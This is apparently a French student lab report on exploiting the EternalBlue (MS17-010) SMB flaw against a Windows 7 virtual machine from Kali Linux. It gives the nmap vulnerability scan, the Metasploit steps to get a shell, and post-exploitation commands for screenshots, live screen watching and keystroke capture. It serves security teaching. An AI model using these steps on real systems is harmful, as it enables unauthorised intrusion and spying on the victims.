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Introduction : 
La faille eternalblue est faille qui affecte les machines Windows exécutant SMB. La vulnérabilité 

permet à un attaquant d'exécuter un code malveillant à distance. Elle trouve les ports vulnerables et 

les failles d’exploitation pour pouvoir rentrer dans le pc de la victim à distance. 

 

Déroulement du TP : 
Machines virtuelles fournies :  

-Machine victime w7 pro 

 -Distribution KALI Linux 

 

 

1. Adressage IP Machine Attaquant 
Au démarrage on peut ^programmer dans l’interface graphique 

Switch 

Ordinateur victime. 
W7 pro 

Ordinateur Attaquant 
KALI Linux 
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2. Ping vers victime 

 

3. Se connecter en tant que Root 
Changement de mdp root avec sudo passwd root puis changer d’utilisateur pour rentrer avec 

root. 

4. Scan vulnérabilités système Exploitation victime 

 
Scan de vulnerabilité avec la commande :nmap –A –sV –script vuln ip victim, ce qui affiche les 

ports ouvert et exploitable, ici ms17-010,  
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5. Exploitation 

Accès au disque dur de la victime. 

on va donc faire un msfconsole pour ensuite chercher dans ms17-010 avec : search ms17-010 

 

 

 

 

On peut utiliser la matching 0 donc on rentre : use 0 
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On est dans l’exploit donc on fait : set RHOST 192.168.0.219, ip victime ici 

 

Et observe les options 

 

Ici LHOST est bon et LPORT est bon par default donc on run. 

Ainsi on rentre shell pour rentrer dans le pc de la victime. 

 

 

Récupération du texte dans repertoire BTS 

 

Avec cd vers chaque repertoire, jusqu’à BTS puis dir, pour voir le texte BTS SIO REDON. 
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Copie d’ecran victime 

 

Pour prendre une copie d’écran il faut faire la commande screenshot, on a une copie d’écran qui 

vient dans le dossier root du pc kali. 

 

Verifier ip (ifconfig), verifier machine attaquant ping bien vers google (ping 8.8.8.8), se connecter 

en tant que root, ouvrir console terminale, scan de vulnérabilité sur la machine de la victime  

ping machine victime, port et faille system exploitation,  

3- scan  commande nmap –A –sV –script vuln ip victim, affiche les ports ouvert et exploitable 

Sur le port 445 c’est port microsoft, trouve faille avec windows server 2008, windows 8 

Service info : Host : ADMIN-PC 

Trouve une faille ms10-054 : false 

Pareil pour ms10-061 mais faut travailler 

Ms17-0.10 vulnerable donc bon 

Avce virus wannacry 

 Prendre console exploitation : msfconsole 

On veut acceder à w7 sans mdp grace à la faille 

A l’interieur de cette console : search ms17-010 

Tout ce qui est mis en normale pas rapide, donc average rapide 

Ya des numeros, ecrire : use 0 (pour l’exemple) sinon autre chiffre, prendre chiffre eternalblue 

Donne exploit blabla  rentrer : set RHOST ip victim 
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Rentrer : show options  verifier LHOST et LPORT par defeult 

Dans ça mettre :run  met Win 

Encore sur linux donc rentrer pour aller sur console victim : shell  canal de l’ordi de la victim 

Cd user, cd admin, cd Desktop, cd BTS, dir 

Exit, help (donne pleins de truc à faire)  ya screenshare (regarder ce que fait la victime en 

direct), screenshot 

Autre truc, help  keyscan… 


